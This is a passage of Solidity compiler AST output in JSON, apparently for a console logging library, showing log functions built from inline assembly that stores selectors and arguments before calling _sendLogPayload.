type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"25648:5:22","nodeType":"YulIdentifier","src":"25648:5:22"},"nativeSrc":"25648:11:22","nodeType":"YulFunctionCall","src":"25648:11:22"},"variableNames":[{"name":"m3","nativeSrc":"25642:2:22","nodeType":"YulIdentifier","src":"25642:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25735:4:22","nodeType":"YulLiteral","src":"25735:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"25741:10:22","nodeType":"YulLiteral","src":"25741:10:22","type":"","value":"0x678209a8"}],"functionName":{"name":"mstore","nativeSrc":"25728:6:22","nodeType":"YulIdentifier","src":"25728:6:22"},"nativeSrc":"25728:24:22","nodeType":"YulFunctionCall","src":"25728:24:22"},"nativeSrc":"25728:24:22","nodeType":"YulExpressionStatement","src":"25728:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25772:4:22","nodeType":"YulLiteral","src":"25772:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"25778:2:22","nodeType":"YulIdentifier","src":"25778:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25765:6:22","nodeType":"YulIdentifier","src":"25765:6:22"},"nativeSrc":"25765:16:22","nodeType":"YulFunctionCall","src":"25765:16:22"},"nativeSrc":"25765:16:22","nodeType":"YulExpressionStatement","src":"25765:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25801:4:22","nodeType":"YulLiteral","src":"25801:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"25807:2:22","nodeType":"YulIdentifier","src":"25807:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25794:6:22","nodeType":"YulIdentifier","src":"25794:6:22"},"nativeSrc":"25794:16:22","nodeType":"YulFunctionCall","src":"25794:16:22"},"nativeSrc":"25794:16:22","nodeType":"YulExpressionStatement","src":"25794:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25830:4:22","nodeType":"YulLiteral","src":"25830:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"25836:2:22","nodeType":"YulIdentifier","src":"25836:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25823:6:22","nodeType":"YulIdentifier","src":"25823:6:22"},"nativeSrc":"25823:16:22","nodeType":"YulFunctionCall","src":"25823:16:22"},"nativeSrc":"25823:16:22","nodeType":"YulExpressionStatement","src":"25823:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34485,"isOffset":false,"isSlot":false,"src":"25552:2:22","valueSize":1},{"declaration":34488,"isOffset":false,"isSlot":false,"src":"25582:2:22","valueSize":1},{"declaration":34491,"isOffset":false,"isSlot":false,"src":"25612:2:22","valueSize":1},{"declaration":34494,"isOffset":false,"isSlot":false,"src":"25642:2:22","valueSize":1},{"declaration":34477,"isOffset":false,"isSlot":false,"src":"25778:2:22","valueSize":1},{"declaration":34479,"isOffset":false,"isSlot":false,"src":"25807:2:22","valueSize":1},{"declaration":34481,"isOffset":false,"isSlot":false,"src":"25836:2:22","valueSize":1}],"id":34496,"nodeType":"InlineAssembly","src":"25529:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34498,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25874:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34499,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25880:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34497,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"25858:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25858:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34501,"nodeType":"ExpressionStatement","src":"25858:27:22"},{"AST":{"nativeSrc":"25904:127:22","nodeType":"YulBlock","src":"25904:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"25925:4:22","nodeType":"YulLiteral","src":"25925:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"25931:2:22","nodeType":"YulIdentifier","src":"25931:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25918:6:22","nodeType":"YulIdentifier","src":"25918:6:22"},"nativeSrc":"25918:16:22","nodeType":"YulFunctionCall","src":"25918:16:22"},"nativeSrc":"25918:16:22","nodeType":"YulExpressionStatement","src":"25918:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25954:4:22","nodeType":"YulLiteral","src":"25954:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"25960:2:22","nodeType":"YulIdentifier","src":"25960:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25947:6:22","nodeType":"YulIdentifier","src":"25947:6:22"},"nativeSrc":"25947:16:22","nodeType":"YulFunctionCall","src":"25947:16:22"},"nativeSrc":"25947:16:22","nodeType":"YulExpressionStatement","src":"25947:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25983:4:22","nodeType":"YulLiteral","src":"25983:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"25989:2:22","nodeType":"YulIdentifier","src":"25989:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25976:6:22","nodeType":"YulIdentifier","src":"25976:6:22"},"nativeSrc":"25976:16:22","nodeType":"YulFunctionCall","src":"25976:16:22"},"nativeSrc":"25976:16:22","nodeType":"YulExpressionStatement","src":"25976:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26012:4:22","nodeType":"YulLiteral","src":"26012:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"26018:2:22","nodeType":"YulIdentifier","src":"26018:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26005:6:22","nodeType":"YulIdentifier","src":"26005:6:22"},"nativeSrc":"26005:16:22","nodeType":"YulFunctionCall","src":"26005:16:22"},"nativeSrc":"26005:16:22","nodeType":"YulExpressionStatement","src":"26005:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34485,"isOffset":false,"isSlot":false,"src":"25931:2:22","valueSize":1},{"declaration":34488,"isOffset":false,"isSlot":false,"src":"25960:2:22","valueSize":1},{"declaration":34491,"isOffset":false,"isSlot":false,"src":"25989:2:22","valueSize":1},{"declaration":34494,"isOffset":false,"isSlot":false,"src":"26018:2:22","valueSize":1}],"id":34502,"nodeType":"InlineAssembly","src":"25895:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25388:3:22","parameters":{"id":34482,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34477,"mutability":"mutable","name":"p0","nameLocation":"25400:2:22","nodeType":"VariableDeclaration","scope":34504,"src":"25392:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34476,"name":"address","nodeType":"ElementaryTypeName","src":"25392:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34479,"mutability":"mutable","name":"p1","nameLocation":"25412:2:22","nodeType":"VariableDeclaration","scope":34504,"src":"25404:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34478,"name":"uint256","nodeType":"ElementaryTypeName","src":"25404:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34481,"mutability":"mutable","name":"p2","nameLocation":"25421:2:22","nodeType":"VariableDeclaration","scope":34504,"src":"25416:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34480,"name":"bool","nodeType":"ElementaryTypeName","src":"25416:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"25391:33:22"},"returnParameters":{"id":34483,"nodeType":"ParameterList","parameters":[],"src":"25439:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34533,"nodeType":"FunctionDefinition","src":"26043:664:22","nodes":[],"body":{"id":34532,"nodeType":"Block","src":"26106:601:22","nodes":[],"statements":[{"assignments":[34514],"declarations":[{"constant":false,"id":34514,"mutability":"mutable","name":"m0","nameLocation":"26124:2:22","nodeType":"VariableDeclaration","scope":34532,"src":"26116:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34513,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26116:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34515,"nodeType":"VariableDeclarationStatement","src":"26116:10:22"},{"assignments":[34517],"declarations":[{"constant":false,"id":34517,"mutability":"mutable","name":"m1","nameLocation":"26144:2:22","nodeType":"VariableDeclaration","scope":34532,"src":"26136:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34516,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26136:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34518,"nodeType":"VariableDeclarationStatement","src":"26136:10:22"},{"assignments":[34520],"declarations":[{"constant":false,"id":34520,"mutability":"mutable","name":"m2","nameLocation":"26164:2:22","nodeType":"VariableDeclaration","scope":34532,"src":"26156:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34519,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26156:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34521,"nodeType":"VariableDeclarationStatement","src":"26156:10:22"},{"assignments":[34523],"declarations":[{"constant":false,"id":34523,"mutability":"mutable","name":"m3","nameLocation":"26184:2:22","nodeType":"VariableDeclaration","scope":34532,"src":"26176:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34522,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26176:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34524,"nodeType":"VariableDeclarationStatement","src":"26176:10:22"},{"AST":{"nativeSrc":"26205:314:22","nodeType":"YulBlock","src":"26205:314:22","statements":[{"nativeSrc":"26219:17:22","nodeType":"YulAssignment","src":"26219:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"26231:4:22","nodeType":"YulLiteral","src":"26231:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"26225:5:22","nodeType":"YulIdentifier","src":"26225:5:22"},"nativeSrc":"26225:11:22","nodeType":"YulFunctionCall","src":"26225:11:22"},"variableNames":[{"name":"m0","nativeSrc":"26219:2:22","nodeType":"YulIdentifier","src":"26219:2:22"}]},{"nativeSrc":"26249:17:22","nodeType":"YulAssignment","src":"26249:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"26261:4:22","nodeType":"YulLiteral","src":"26261:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"26255:5:22","nodeType":"YulIdentifier","src":"26255:5:22"},"nativeSrc":"26255:11:22","nodeType":"YulFunctionCall","src":"26255:11:22"},"variableNames":[{"name":"m1","nativeSrc":"26249:2:22","nodeType":"YulIdentifier","src":"26249:2:22"}]},{"nativeSrc":"26279:17:22","nodeType":"YulAssignment","src":"26279:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"26291:4:22","nodeType":"YulLiteral","src":"26291:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"26285:5:22","nodeType":"YulIdentifier","src":"26285:5:22"},"nativeSrc":"26285:11:22","nodeType":"YulFunctionCall","src":"26285:11:22"},"variableNames":[{"name":"m2","nativeSrc":"26279:2:22","nodeType":"YulIdentifier","src":"26279:2:22"}]},{"nativeSrc":"26309:17:22","nodeType":"YulAssignment","src":"26309:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"26321:4:22","nodeType":"YulLiteral","src":"26321:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"26315:5:22","nodeType":"YulIdentifier","src":"26315:5:22"},"nativeSrc":"26315:11:22","nodeType":"YulFunctionCall","src":"26315:11:22"},"variableNames":[{"name":"m3","nativeSrc":"26309:2:22","nodeType":"YulIdentifier","src":"26309:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26405:4:22","nodeType":"YulLiteral","src":"26405:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"26411:10:22","nodeType":"YulLiteral","src":"26411:10:22","type":"","value":"0xb69bcaf6"}],"functionName":{"name":"mstore","nativeSrc":"26398:6:22","nodeType":"YulIdentifier","src":"26398:6:22"},"nativeSrc":"26398:24:22","nodeType":"YulFunctionCall","src":"26398:24:22"},"nativeSrc":"26398:24:22","nodeType":"YulExpressionStatement","src":"26398:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26442:4:22","nodeType":"YulLiteral","src":"26442:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"26448:2:22","nodeType":"YulIdentifier","src":"26448:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26435:6:22","nodeType":"YulIdentifier","src":"26435:6:22"},"nativeSrc":"26435:16:22","nodeType":"YulFunctionCall","src":"26435:16:22"},"nativeSrc":"26435:16:22","nodeType":"YulExpressionStatement","src":"26435:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26471:4:22","nodeType":"YulLiteral","src":"26471:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"26477:2:22","nodeType":"YulIdentifier","src":"26477:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26464:6:22","nodeType":"YulIdentifier","src":"26464:6:22"},"nativeSrc":"26464:16:22","nodeType":"YulFunctionCall","src":"26464:16:22"},"nativeSrc":"26464:16:22","nodeType":"YulExpressionStatement","src":"26464:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26500:4:22","nodeType":"YulLiteral","src":"26500:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"26506:2:22","nodeType":"YulIdentifier","src":"26506:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26493:6:22","nodeType":"YulIdentifier","src":"26493:6:22"},"nativeSrc":"26493:16:22","nodeType":"YulFunctionCall","src":"26493:16:22"},"nativeSrc":"26493:16:22","nodeType":"YulExpressionStatement","src":"26493:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34514,"isOffset":false,"isSlot":false,"src":"26219:2:22","valueSize":1},{"declaration":34517,"isOffset":false,"isSlot":false,"src":"26249:2:22","valueSize":1},{"declaration":34520,"isOffset":false,"isSlot":false,"src":"26279:2:22","valueSize":1},{"declaration":34523,"isOffset":false,"isSlot":false,"src":"26309:2:22","valueSize":1},{"declaration":34506,"isOffset":false,"isSlot":false,"src":"26448:2:22","valueSize":1},{"declaration":34508,"isOffset":false,"isSlot":false,"src":"26477:2:22","valueSize":1},{"declaration":34510,"isOffset":false,"isSlot":false,"src":"26506:2:22","valueSize":1}],"id":34525,"nodeType":"InlineAssembly","src":"26196:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34527,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"26544:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34528,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"26550:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34526,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"26528:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26528:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34530,"nodeType":"ExpressionStatement","src":"26528:27:22"},{"AST":{"nativeSrc":"26574:127:22","nodeType":"YulBlock","src":"26574:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"26595:4:22","nodeType":"YulLiteral","src":"26595:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"26601:2:22","nodeType":"YulIdentifier","src":"26601:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26588:6:22","nodeType":"YulIdentifier","src":"26588:6:22"},"nativeSrc":"26588:16:22","nodeType":"YulFunctionCall","src":"26588:16:22"},"nativeSrc":"26588:16:22","nodeType":"YulExpressionStatement","src":"26588:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26624:4:22","nodeType":"YulLiteral","src":"26624:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"26630:2:22","nodeType":"YulIdentifier","src":"26630:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26617:6:22","nodeType":"YulIdentifier","src":"26617:6:22"},"nativeSrc":"26617:16:22","nodeType":"YulFunctionCall","src":"26617:16:22"},"nativeSrc":"26617:16:22","nodeType":"YulExpressionStatement","src":"26617:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26653:4:22","nodeType":"YulLiteral","src":"26653:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"26659:2:22","nodeType":"YulIdentifier","src":"26659:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26646:6:22","nodeType":"YulIdentifier","src":"26646:6:22"},"nativeSrc":"26646:16:22","nodeType":"YulFunctionCall","src":"26646:16:22"},"nativeSrc":"26646:16:22","nodeType":"YulExpressionStatement","src":"26646:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"26682:4:22","nodeType":"YulLiteral","src":"26682:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"26688:2:22","nodeType":"YulIdentifier","src":"26688:2:22"}],"functionName":{"name":"mstore","nativeSrc":"26675:6:22","nodeType":"YulIdentifier","src":"26675:6:22"},"nativeSrc":"26675:16:22","nodeType":"YulFunctionCall","src":"26675:16:22"},"nativeSrc":"26675:16:22","nodeType":"YulExpressionStatement","src":"26675:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34514,"isOffset":false,"isSlot":false,"src":"26601:2:22","valueSize":1},{"declaration":34517,"isOffset":false,"isSlot":false,"src":"26630:2:22","valueSize":1},{"declaration":34520,"isOffset":false,"isSlot":false,"src":"26659:2:22","valueSize":1},{"declaration":34523,"isOffset":false,"isSlot":false,"src":"26688:2:22","valueSize":1}],"id":34531,"nodeType":"InlineAssembly","src":"26565:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26052:3:22","parameters":{"id":34511,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34506,"mutability":"mutable","name":"p0","nameLocation":"26064:2:22","nodeType":"VariableDeclaration","scope":34533,"src":"26056:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34505,"name":"address","nodeType":"ElementaryTypeName","src":"26056:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34508,"mutability":"mutable","name":"p1","nameLocation":"26076:2:22","nodeType":"VariableDeclaration","scope":34533,"src":"26068:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34507,"name":"uint256","nodeType":"ElementaryTypeName","src":"26068:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34510,"mutability":"mutable","name":"p2","nameLocation":"26088:2:22","nodeType":"VariableDeclaration","scope":34533,"src":"26080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34509,"name":"uint256","nodeType":"ElementaryTypeName","src":"26080:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26055:36:22"},"returnParameters":{"id":34512,"nodeType":"ParameterList","parameters":[],"src":"26106:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34568,"nodeType":"FunctionDefinition","src":"26713:1212:22","nodes":[],"body":{"id":34567,"nodeType":"Block","src":"26776:1149:22","nodes":[],"statements":[{"assignments":[34543],"declarations":[{"constant":false,"id":34543,"mutability":"mutable","name":"m0","nameLocation":"26794:2:22","nodeType":"VariableDeclaration","scope":34567,"src":"26786:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34542,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26786:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34544,"nodeType":"VariableDeclarationStatement","src":"26786:10:22"},{"assignments":[34546],"declarations":[{"constant":false,"id":34546,"mutability":"mutable","name":"m1","nameLocation":"26814:2:22","nodeType":"VariableDeclaration","scope":34567,"src":"26806:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34545,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26806:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34547,"nodeType":"VariableDeclarationStatement","src":"26806:10:22"},{"assignments":[34549],"declarations":[{"constant":false,"id":34549,"mutability":"mutable","name":"m2","nameLocation":"26834:2:22","nodeType":"VariableDeclaration","scope":34567,"src":"26826:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34548,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26826:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34550,"nodeType":"VariableDeclarationStatement","src":"26826:10:22"},{"assignments":[34552],"declarations":[{"constant":false,"id":34552,"mutability":"mutable","name":"m3","nameLocation":"26854:2:22","nodeType":"VariableDeclaration","scope":34567,"src":"26846:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34551,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26846:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34553,"nodeType":"VariableDeclarationStatement","src":"26846:10:22"},{"assignments":[34555],"declarations":[{"constant":false,"id":34555,"mutability":"mutable","name":"m4","nameLocation":"26874:2:22","nodeType":"VariableDeclaration","scope":34567,"src":"26866:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26866:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34556,"nodeType":"VariableDeclarationStatement","src":"26866:10:22"},{"assignments":[34558],"declarations":[{"constant":false,"id":34558,"mutability":"mutable","name":"m5","nameLocation":"26894:2:22","nodeType":"VariableDeclaration","scope":34567,"src":"26886:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26886:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34559,"nodeType":"VariableDeclarationStatement","src":"26886:10:22"},{"AST":{"nativeSrc":"26915:764:22","nodeType":"YulBlock","src":"26915:764:22","statements":[{"body":{"nativeSrc":"26958:313:22","nodeType":"YulBlock","src":"26958:313:22","statements":[{"nativeSrc":"26976:15:22","nodeType":"YulVariableDeclaration","src":"26976:15:22","value":{"kind":"number","nativeSrc":"26990:1:22","nodeType":"YulLiteral","src":"26990:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"26980:6:22","nodeType":"YulTypedName","src":"26980:6:22","type":""}]},{"body":{"nativeSrc":"27061:40:22","nodeType":"YulBlock","src":"27061:40:22","statements":[{"body":{"nativeSrc":"27090:9:22","nodeType":"YulBlock","src":"27090:9:22","statements":[{"nativeSrc":"27092:5:22","nodeType":"YulBreak","src":"27092:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"27078:6:22","nodeType":"YulIdentifier","src":"27078:6:22"},{"name":"w","nativeSrc":"27086:1:22","nodeType":"YulIdentifier","src":"27086:1:22"}],"functionName":{"name":"byte","nativeSrc":"27073:4:22","nodeType":"YulIdentifier","src":"27073:4:22"},"nativeSrc":"27073:15:22","nodeType":"YulFunctionCall","src":"27073:15:22"}],"functionName":{"name":"iszero","nativeSrc":"27066:6:22","nodeType":"YulIdentifier","src":"27066:6:22"},"nativeSrc":"27066:23:22","nodeType":"YulFunctionCall","src":"27066:23:22"},"nativeSrc":"27063:36:22","nodeType":"YulIf","src":"27063:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"27018:6:22","nodeType":"YulIdentifier","src":"27018:6:22"},{"kind":"number","nativeSrc":"27026:4:22","nodeType":"YulLiteral","src":"27026:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"27015:2:22","nodeType":"YulIdentifier","src":"27015:2:22"},"nativeSrc":"27015:16:22","nodeType":"YulFunctionCall","src":"27015:16:22"},"nativeSrc":"27008:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"27032:28:22","nodeType":"YulBlock","src":"27032:28:22","statements":[{"nativeSrc":"27034:24:22","nodeType":"YulAssignment","src":"27034:24:22","value":{"arguments":[{"name":"length","nativeSrc":"27048:6:22","nodeType":"YulIdentifier","src":"27048:6:22"},{"kind":"number","nativeSrc":"27056:1:22","nodeType":"YulLiteral","src":"27056:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"27044:3:22","nodeType":"YulIdentifier","src":"27044:3:22"},"nativeSrc":"27044:14:22","nodeType":"YulFunctionCall","src":"27044:14:22"},"variableNames":[{"name":"length","nativeSrc":"27034:6:22","nodeType":"YulIdentifier","src":"27034:6:22"}]}]},"pre":{"nativeSrc":"27012:2:22","nodeType":"YulBlock","src":"27012:2:22","statements":[]},"src":"27008:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"27125:3:22","nodeType":"YulIdentifier","src":"27125:3:22"},{"name":"length","nativeSrc":"27130:6:22","nodeType":"YulIdentifier","src":"27130:6:22"}],"functionName":{"name":"mstore","nativeSrc":"27118:6:22","nodeType":"YulIdentifier","src":"27118:6:22"},"nativeSrc":"27118:19:22","nodeType":"YulFunctionCall","src":"27118:19:22"},"nativeSrc":"27118:19:22","nodeType":"YulExpressionStatement","src":"27118:19:22"},{"nativeSrc":"27154:37:22","nodeType":"YulVariableDeclaration","src":"27154:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"27171:3:22","nodeType":"YulLiteral","src":"27171:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"27180:1:22","nodeType":"YulLiteral","src":"27180:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"27183:6:22","nodeType":"YulIdentifier","src":"27183:6:22"}],"functionName":{"name":"shl","nativeSrc":"27176:3:22","nodeType":"YulIdentifier","src":"27176:3:22"},"nativeSrc":"27176:14:22","nodeType":"YulFunctionCall","src":"27176:14:22"}],"functionName":{"name":"sub","nativeSrc":"27167:3:22","nodeType":"YulIdentifier","src":"27167:3:22"},"nativeSrc":"27167:24:22","nodeType":"YulFunctionCall","src":"27167:24:22"},"variables":[{"name":"shift","nativeSrc":"27158:5:22","nodeType":"YulTypedName","src":"27158:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"27219:3:22","nodeType":"YulIdentifier","src":"27219:3:22"},{"kind":"number","nativeSrc":"27224:4:22","nodeType":"YulLiteral","src":"27224:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"27215:3:22","nodeType":"YulIdentifier","src":"27215:3:22"},"nativeSrc":"27215:14:22","nodeType":"YulFunctionCall","src":"27215:14:22"},{"arguments":[{"name":"shift","nativeSrc":"27235:5:22","nodeType":"YulIdentifier","src":"27235:5:22"},{"arguments":[{"name":"shift","nativeSrc":"27246:5:22","nodeType":"YulIdentifier","src":"